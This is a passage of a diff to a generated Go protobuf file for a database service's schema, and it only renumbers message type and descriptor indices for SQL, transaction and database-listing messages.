nil { @@ -6285,7 +6353,7 @@ func (x *FlushIndexRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use FlushIndexRequest.ProtoReflect.Descriptor instead. func (*FlushIndexRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{87} + return file_schema_proto_rawDescGZIP(), []int{88} } func (x *FlushIndexRequest) GetCleanupPercentage() float32 { @@ -6314,7 +6382,7 @@ type FlushIndexResponse struct { func (x *FlushIndexResponse) Reset() { *x = FlushIndexResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[88] + mi := &file_schema_proto_msgTypes[89] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6327,7 +6395,7 @@ func (x *FlushIndexResponse) String() string { func (*FlushIndexResponse) ProtoMessage() {} func (x *FlushIndexResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[88] + mi := &file_schema_proto_msgTypes[89] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6340,7 +6408,7 @@ func (x *FlushIndexResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use FlushIndexResponse.ProtoReflect.Descriptor instead. func (*FlushIndexResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{88} + return file_schema_proto_rawDescGZIP(), []int{89} } func (x *FlushIndexResponse) GetDatabase() string { @@ -6362,7 +6430,7 @@ type Table struct { func (x *Table) Reset() { *x = Table{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[89] + mi := &file_schema_proto_msgTypes[90] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6375,7 +6443,7 @@ func (x *Table) String() string { func (*Table) ProtoMessage() {} func (x *Table) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[89] + mi := &file_schema_proto_msgTypes[90] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6388,7 +6456,7 @@ func (x *Table) ProtoReflect() protoreflect.Message { // Deprecated: Use Table.ProtoReflect.Descriptor instead. func (*Table) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{89} + return file_schema_proto_rawDescGZIP(), []int{90} } func (x *Table) GetTableName() string { @@ -6416,7 +6484,7 @@ type SQLGetRequest struct { func (x *SQLGetRequest) Reset() { *x = SQLGetRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[90] + mi := &file_schema_proto_msgTypes[91] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6429,7 +6497,7 @@ func (x *SQLGetRequest) String() string { func (*SQLGetRequest) ProtoMessage() {} func (x *SQLGetRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[90] + mi := &file_schema_proto_msgTypes[91] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6442,7 +6510,7 @@ func (x *SQLGetRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use SQLGetRequest.ProtoReflect.Descriptor instead. func (*SQLGetRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{90} + return file_schema_proto_rawDescGZIP(), []int{91} } func (x *SQLGetRequest) GetTable() string { @@ -6487,7 +6555,7 @@ type VerifiableSQLGetRequest struct { func (x *VerifiableSQLGetRequest) Reset() { *x = VerifiableSQLGetRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[91] + mi := &file_schema_proto_msgTypes[92] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6500,7 +6568,7 @@ func (x *VerifiableSQLGetRequest) String() string { func (*VerifiableSQLGetRequest) ProtoMessage() {} func (x *VerifiableSQLGetRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[91] + mi := &file_schema_proto_msgTypes[92] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6513,7 +6581,7 @@ func (x *VerifiableSQLGetRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use VerifiableSQLGetRequest.ProtoReflect.Descriptor instead. func (*VerifiableSQLGetRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{91} + return file_schema_proto_rawDescGZIP(), []int{92} } func (x *VerifiableSQLGetRequest) GetSqlGetRequest() *SQLGetRequest { @@ -6548,7 +6616,7 @@ type SQLEntry struct { func (x *SQLEntry) Reset() { *x = SQLEntry{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[92] + mi := &file_schema_proto_msgTypes[93] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6561,7 +6629,7 @@ func (x *SQLEntry) String() string { func (*SQLEntry) ProtoMessage() {} func (x *SQLEntry) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[92] + mi := &file_schema_proto_msgTypes[93] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6574,7 +6642,7 @@ func (x *SQLEntry) ProtoReflect() protoreflect.Message { // Deprecated: Use SQLEntry.ProtoReflect.Descriptor instead. func (*SQLEntry) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{92} + return file_schema_proto_rawDescGZIP(), []int{93} } func (x *SQLEntry) GetTx() uint64 { @@ -6635,7 +6703,7 @@ type VerifiableSQLEntry struct { func (x *VerifiableSQLEntry) Reset() { *x = VerifiableSQLEntry{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[93] + mi := &file_schema_proto_msgTypes[94] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6648,7 +6716,7 @@ func (x *VerifiableSQLEntry) String() string { func (*VerifiableSQLEntry) ProtoMessage() {} func (x *VerifiableSQLEntry) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[93] + mi := &file_schema_proto_msgTypes[94] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6661,7 +6729,7 @@ func (x *VerifiableSQLEntry) ProtoReflect() protoreflect.Message { // Deprecated: Use VerifiableSQLEntry.ProtoReflect.Descriptor instead. func (*VerifiableSQLEntry) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{93} + return file_schema_proto_rawDescGZIP(), []int{94} } func (x *VerifiableSQLEntry) GetSqlEntry() *SQLEntry { @@ -6746,7 +6814,7 @@ type UseDatabaseReply struct { func (x *UseDatabaseReply) Reset() { *x = UseDatabaseReply{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[94] + mi := &file_schema_proto_msgTypes[95] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6759,7 +6827,7 @@ func (x *UseDatabaseReply) String() string { func (*UseDatabaseReply) ProtoMessage() {} func (x *UseDatabaseReply) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[94] + mi := &file_schema_proto_msgTypes[95] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6772,7 +6840,7 @@ func (x *UseDatabaseReply) ProtoReflect() protoreflect.Message { // Deprecated: Use UseDatabaseReply.ProtoReflect.Descriptor instead. func (*UseDatabaseReply) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{94} + return file_schema_proto_rawDescGZIP(), []int{95} } func (x *UseDatabaseReply) GetToken() string { @@ -6800,7 +6868,7 @@ type ChangePermissionRequest struct { func (x *ChangePermissionRequest) Reset() { *x = ChangePermissionRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[95] + mi := &file_schema_proto_msgTypes[96] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6813,7 +6881,7 @@ func (x *ChangePermissionRequest) String() string { func (*ChangePermissionRequest) ProtoMessage() {} func (x *ChangePermissionRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[95] + mi := &file_schema_proto_msgTypes[96] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6826,7 +6894,7 @@ func (x *ChangePermissionRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use ChangePermissionRequest.ProtoReflect.Descriptor instead. func (*ChangePermissionRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{95} + return file_schema_proto_rawDescGZIP(), []int{96} } func (x *ChangePermissionRequest) GetAction() PermissionAction { @@ -6871,7 +6939,7 @@ type SetActiveUserRequest struct { func (x *SetActiveUserRequest) Reset() { *x = SetActiveUserRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[96] + mi := &file_schema_proto_msgTypes[97] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6884,7 +6952,7 @@ func (x *SetActiveUserRequest) String() string { func (*SetActiveUserRequest) ProtoMessage() {} func (x *SetActiveUserRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[96] + mi := &file_schema_proto_msgTypes[97] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6897,7 +6965,7 @@ func (x *SetActiveUserRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use SetActiveUserRequest.ProtoReflect.Descriptor instead. func (*SetActiveUserRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{96} + return file_schema_proto_rawDescGZIP(), []int{97} } func (x *SetActiveUserRequest) GetActive() bool { @@ -6926,7 +6994,7 @@ type DatabaseListResponse struct { func (x *DatabaseListResponse) Reset() { *x = DatabaseListResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[97] + mi := &file_schema_proto_msgTypes[98] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6939,7 +7007,7 @@ func (x *DatabaseListResponse) String() string { func (*DatabaseListResponse) ProtoMessage() {} func (x *DatabaseListResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[97] + mi := &file_schema_proto_msgTypes[98] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6952,7 +7020,7 @@ func (x *DatabaseListResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use DatabaseListResponse.ProtoReflect.Descriptor instead. func (*DatabaseListResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{97} + return file_schema_proto_rawDescGZIP(), []int{98} } func (x *DatabaseListResponse) GetDatabases() []*Database { @@ -6971,7 +7039,7 @@ type DatabaseListRequestV2 struct { func (x *DatabaseListRequestV2) Reset() { *x = DatabaseListRequestV2{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[98] + mi := &file_schema_proto_msgTypes[99] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6984,7 +7052,7 @@ func (x *DatabaseListRequestV2) String() string { func (*DatabaseListRequestV2) ProtoMessage() {} func (x *DatabaseListRequestV2) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[98] + mi := &file_schema_proto_msgTypes[99] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6997,7 +7065,7 @@ func (x *DatabaseListRequestV2) ProtoReflect() protoreflect.Message { // Deprecated: Use DatabaseListRequestV2.ProtoReflect.Descriptor instead. func (*DatabaseListRequestV2) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{98} + return file_schema_proto_rawDescGZIP(), []int{99} } type DatabaseListResponseV2 struct { @@ -7012,7 +7080,7 @@ type DatabaseListResponseV2 struct { func (x *DatabaseListResponseV2) Reset() { *x = DatabaseListResponseV2{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[99] + mi := &file_schema_proto_msgTypes[100] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7025,7 +7093,7 @@ func (x *DatabaseListResponseV2) String() string { func (*DatabaseListResponseV2) ProtoMessage() {} func (x *DatabaseListResponseV2) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[99] + mi := &file_schema_proto_msgTypes[100] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7038,7 +7106,7 @@ func (x *DatabaseListResponseV2) ProtoReflect() protoreflect.Message { // Deprecated: Use DatabaseListResponseV2.ProtoReflect.Descriptor instead. func (*DatabaseListResponseV2) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{99} + return file_schema_proto_rawDescGZIP(), []int{100} } func (x *DatabaseListResponseV2) GetDatabases() []*DatabaseWithSettings { @@ -7064,7 +7132,7 @@ type DatabaseWithSettings struct { func (x *DatabaseWithSettings) Reset() { *x = DatabaseWithSettings{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[100] + mi := &file_schema_proto_msgTypes[101] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7077,7 +7145,7 @@ func (x *DatabaseWithSettings) String() string { func (*DatabaseWithSettings) ProtoMessage() {} func (x *DatabaseWithSettings) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[100] + mi := &file_schema_proto_msgTypes[101] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7090,7 +7158,7 @@ func (x *DatabaseWithSettings) ProtoReflect() protoreflect.Message { // Deprecated: Use DatabaseWithSettings.ProtoReflect.Descriptor instead. func (*DatabaseWithSettings) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{100} + return file_schema_proto_rawDescGZIP(), []int{101} } func (x *DatabaseWithSettings) GetName() string { @@ -7125,7 +7193,7 @@ type Chunk struct { func (x *Chunk) Reset() { *x = Chunk{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[101] + mi := &file_schema_proto_msgTypes[102] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7138,7 +7206,7 @@ func (x *Chunk) String() string { func (*Chunk) ProtoMessage() {} func (x *Chunk) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[101] + mi := &file_schema_proto_msgTypes[102] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7151,7 +7219,7 @@ func (x *Chunk) ProtoReflect() protoreflect.Message { // Deprecated: Use Chunk.ProtoReflect.Descriptor instead. func (*Chunk) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{101} + return file_schema_proto_rawDescGZIP(), []int{102} } func (x *Chunk) GetContent() []byte { @@ -7173,7 +7241,7 @@ type UseSnapshotRequest struct { func (x *UseSnapshotRequest) Reset() { *x = UseSnapshotRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[102] + mi := &file_schema_proto_msgTypes[103] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7186,7 +7254,7 @@ func (x *UseSnapshotRequest) String() string { func (*UseSnapshotRequest) ProtoMessage() {} func (x *UseSnapshotRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[102] + mi := &file_schema_proto_msgTypes[103] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7199,7 +7267,7 @@ func (x *UseSnapshotRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use UseSnapshotRequest.ProtoReflect.Descriptor instead. func (*UseSnapshotRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{102} + return file_schema_proto_rawDescGZIP(), []int{103} } func (x *UseSnapshotRequest) GetSinceTx() uint64 { @@ -7232,7 +7300,7 @@ type SQLExecRequest struct { func (x *SQLExecRequest) Reset() { *x = SQLExecRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[103] + mi := &file_schema_proto_msgTypes[104] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7245,7 +7313,7 @@ func (x *SQLExecRequest) String() string { func (*SQLExecRequest) ProtoMessage() {} func (x *SQLExecRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[103] + mi := &file_schema_proto_msgTypes[104] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7258,7 +7326,7 @@ func (x *SQLExecRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use SQLExecRequest.ProtoReflect.Descriptor instead. func (*SQLExecRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{103} + return file_schema_proto_rawDescGZIP(), []int{104} } func (x *SQLExecRequest) GetSql() string { @@ -7298,7 +7366,7 @@ type SQLQueryRequest struct { func (x *SQLQueryRequest) Reset() { *x = SQLQueryRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[104] + mi := &file_schema_proto_msgTypes[105] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7311,7 +7379,7 @@ func (x *SQLQueryRequest) String() string { func (*SQLQueryRequest) ProtoMessage() {} func (x *SQLQueryRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[104] + mi := &file_schema_proto_msgTypes[105] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7324,7 +7392,7 @@ func (x *SQLQueryRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use SQLQueryRequest.ProtoReflect.Descriptor instead. func (*SQLQueryRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{104} + return file_schema_proto_rawDescGZIP(), []int{105} } func (x *SQLQueryRequest) GetSql() string { @@ -7362,7 +7430,7 @@ type NamedParam struct { func (x *NamedParam) Reset() { *x = NamedParam{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[105] + mi := &file_schema_proto_msgTypes[106] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7375,7 +7443,7 @@ func (x *NamedParam) String() string { func (*NamedParam) ProtoMessage() {} func (x *NamedParam) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[105] + mi := &file_schema_proto_msgTypes[106] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7388,7 +7456,7 @@ func (x *NamedParam) ProtoReflect() protoreflect.Message { // Deprecated: Use NamedParam.ProtoReflect.Descriptor instead. func (*NamedParam) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{105} + return file_schema_proto_rawDescGZIP(), []int{106} } func (x *NamedParam) GetName() string { @@ -7419,7 +7487,7 @@ type SQLExecResult struct { func (x *SQLExecResult) Reset() { *x = SQLExecResult{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[106] + mi := &file_schema_proto_msgTypes[107] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7432,7 +7500,7 @@ func (x *SQLExecResult) String() string { func (*SQLExecResult) ProtoMessage() {} func (x *SQLExecResult) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[106] + mi := &file_schema_proto_msgTypes[107] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7445,7 +7513,7 @@ func (x *SQLExecResult) ProtoReflect() protoreflect.Message { // Deprecated: Use SQLExecResult.ProtoReflect.Descriptor instead. func (*SQLExecResult) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{106} + return file_schema_proto_rawDescGZIP(), []int{107} } func (x *SQLExecResult) GetTxs() []*CommittedSQLTx { @@ -7480,7 +7548,7 @@ type CommittedSQLTx struct { func (x *CommittedSQLTx) Reset() { *x = CommittedSQLTx{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[107] + mi := &file_schema_proto_msgTypes[108] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7493,7 +7561,7 @@ func (x *CommittedSQLTx) String() string { func (*CommittedSQLTx) ProtoMessage() {} func (x *CommittedSQLTx) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[107] + mi := &file_schema_proto_msgTypes[108] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7506,7 +7574,7 @@ func (x *CommittedSQLTx) ProtoReflect() protoreflect.Message { // Deprecated: Use CommittedSQLTx.ProtoReflect.Descriptor instead. func (*CommittedSQLTx) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{107} + return file_schema_proto_rawDescGZIP(), []int{108} } func (x *CommittedSQLTx) GetHeader() *TxHeader { @@ -7551,7 +7619,7 @@ type SQLQueryResult struct { func (x *SQLQueryResult) Reset() { *x = SQLQueryResult{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[108] + mi := &file_schema_proto_msgTypes[109] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7564,7 +7632,7 @@ func (x *SQLQueryResult) String() string { func (*SQLQueryResult) ProtoMessage() {} func (x *SQLQueryResult) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[108] + mi := &file_schema_proto_msgTypes[109] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7577,7 +7645,7 @@ func (x *SQLQueryResult) ProtoReflect() protoreflect.Message { // Deprecated: Use SQLQueryResult.ProtoReflect.Descriptor instead. func (*SQLQueryResult) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{108} + return file_schema_proto_rawDescGZIP(), []int{109} } func (x *SQLQueryResult) GetColumns() []*Column { @@ -7608,7 +7676,7 @@ type Column struct { func (x *Column) Reset() { *x = Column{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[109] + mi := &file_schema_proto_msgTypes[110] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7621,7 +7689,7 @@ func (x *Column) String() string { func (*Column) ProtoMessage() {} func (x *Column) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[109] + mi := &file_schema_proto_msgTypes[110] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7634,7 +7702,7 @@ func (x *Column) ProtoReflect() protoreflect.Message { // Deprecated: Use Column.ProtoReflect.Descriptor instead. func (*Column) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{109} + return file_schema_proto_rawDescGZIP(), []int{110} } func (x *Column) GetName() string { @@ -7665,7 +7733,7 @@ type Row struct { func (x *Row) Reset() { *x = Row{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[110] + mi := &file_schema_proto_msgTypes[111] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7678,7 +7746,7 @@ func (x *Row) String() string { func (*Row) ProtoMessage() {} func (x *Row) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[110] + mi := &file_schema_proto_msgTypes[111] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7691,7 +7759,7 @@ func (x *Row) ProtoReflect() protoreflect.Message { // Deprecated: Use Row.ProtoReflect.Descriptor instead. func (*Row) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{110} + return file_schema_proto_rawDescGZIP(), []int{111} } func (x *Row) GetColumns() []string { @@ -7727,7 +7795,7 @@ type SQLValue struct { func (x *SQLValue) Reset() { *x = SQLValue{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[111] + mi := &file_schema_proto_msgTypes[112] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7740,7 +7808,7 @@ func (x *SQLValue) String() string { func (*SQLValue) ProtoMessage() {} func (x *SQLValue) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[111] + mi := &file_schema_proto_msgTypes[112] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7753,7 +7821,7 @@ func (x *SQLValue) ProtoReflect() protoreflect.Message { // Deprecated: Use SQLValue.ProtoReflect.Descriptor instead. func (*SQLValue) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{111} + return file_schema_proto_rawDescGZIP(), []int{112} } func (m *SQLValue) GetValue() isSQLValue_Value { @@ -7857,7 +7925,7 @@ type NewTxRequest struct { func (x *NewTxRequest) Reset() { *x = NewTxRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[112] + mi := &file_schema_proto_msgTypes[113] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7870,7 +7938,7 @@ func (x *NewTxRequest) String() string { func (*NewTxRequest) ProtoMessage() {} func (x *NewTxRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[112] + mi := &file_schema_proto_msgTypes[113] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7883,7 +7951,7 @@ func (x *NewTxRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use NewTxRequest.ProtoReflect.Descriptor instead. func (*NewTxRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{112} + return file_schema_proto_rawDescGZIP(), []int{113} } func (x *NewTxRequest) GetMode() TxMode { @@ -7905,7 +7973,7 @@ type NewTxResponse struct { func (x *NewTxResponse) Reset() { *x = NewTxResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[113] + mi := &file_schema_proto_msgTypes[114] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7918,7 +7986,7 @@ func (x *NewTxResponse) String() string { func (*NewTxResponse) ProtoMessage() {} func (x *NewTxResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[113] + mi := &file_schema_proto_msgTypes[114] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7931,7 +7999,7 @@ func (x *NewTxResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use NewTxResponse.ProtoReflect.Descriptor instead. func (*NewTxResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{113} + return file_schema_proto_rawDescGZIP(), []int{114} } func (x *NewTxResponse) GetTransactionID() string { @@ -7955,7 +8023,7 @@ type ErrorInfo struct { func (x *ErrorInfo) Reset() { *x = ErrorInfo{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[114] + mi := &file_schema_proto_msgTypes[115] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7968,7 +8036,7 @@ func (x *ErrorInfo) String() string { func (*ErrorInfo) ProtoMessage() {} func (x *ErrorInfo) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[114] + mi := &file_schema_proto_msgTypes[115] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7981,7 +8049,7 @@ func (x 